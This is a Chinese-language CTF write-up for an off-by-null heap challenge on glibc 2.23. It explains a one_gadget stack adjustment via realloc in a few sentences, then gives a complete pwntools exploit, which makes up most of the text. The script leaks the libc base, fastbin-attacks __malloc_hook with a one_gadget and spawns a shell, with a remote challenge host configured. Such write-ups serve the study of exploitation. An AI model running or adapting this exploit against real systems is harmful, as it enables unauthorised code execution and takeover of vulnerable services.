off by null (libc2.23)
1.程序逆向
程序在 add 的 read 中存在一个 off by null,同时 add 时无 size 限制,可以直接申请进 unsorted bin 的 chunk,个数足够用。可以 show,free 正常
2.漏洞利用
和 secret of my heart 一样的利用手法,不再赘述。
记录一下调试 og 的过程。我们可以先尝试所有 og ,如果没有打通的情况下,利用 realloc 调节栈帧,这里可以断在最后触发时的 malloc 处,然后 si 到 execve 处:
判断的条件即 argv 指向地址的值是否为0,我们调节的是这个过程:
因为 push 越多 rsp 越小,如果 realloc 加上一些偏移,就会少 push,那么 rsp 则相对于全 push 则增大了少 push 的个数 * 0x8 的地址,所以如果 0 在目标区域的高地址方向,就少 push 几个,就能满足条件。
3.完整exp
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
context.log_level = 'debug'
binary = './timu'
elf = ELF('./timu')
libc = elf.libc
# libc = cdll.LoadLibrary("./libc.so.6")
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = "node2.hackingfor.fun"
port = 39964
p = remote(host,port)
if DEBUG == 2:
host = ""
port = 0
user = ""
passwd = ""
p = ssh(host,port,user,passwd)
def dbg():
gdb.attach(p)
pause()
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
menu = "Your choice :"
def cmd(i):
ru(menu)
sl(str(i))
def add(size, data='a\n'):
cmd(1)
sla("Size: ", str(size))
sa("Data: ", data)
def dele(idx):
cmd(2)
sla("Index: ", str(idx))
def show():
cmd(3)
add(0x18) #0
add(0x100, 'a'*0xf0 + p64(0x100) + '\n') #1
add(0x100) #2
dele(1)
dele(0)
add(0x18, 'a'*0x18) #0
add(0x80) #1
add(0x10) #3
dele(1)
dele(2)
fake_next_size = 0x90
add(0x80) #1
add(0x100, 'a'*0x68 + p64(0x70) + '\n') #2
add(0x80) #4
dele(2)
show()
ru("3 : ")
libc_base = l64() - libc.symbols['__malloc_hook'] - 0x68
info("libc_base", libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.sym["__libc_realloc"]
dele(1)
pl = 'a'*0x80 + p64(0) + p64(0x71)
add(0x100, pl + '\n') #1
dele(3)
dele(1)
pl = 'a'*0x80 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23)
add(0x100, pl + '\n') #1
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add(0x68) #2
add(0x68, "\x00" * (0x13-0x8) + p64(libc_base + 0x4527a) + p64(realloc) + '\n') #3
# gdb.attach(p, "b *$rebase(0xabd) \n c")
cmd(1)
sla("Size: ", str(0x20))
# dbg()
ia()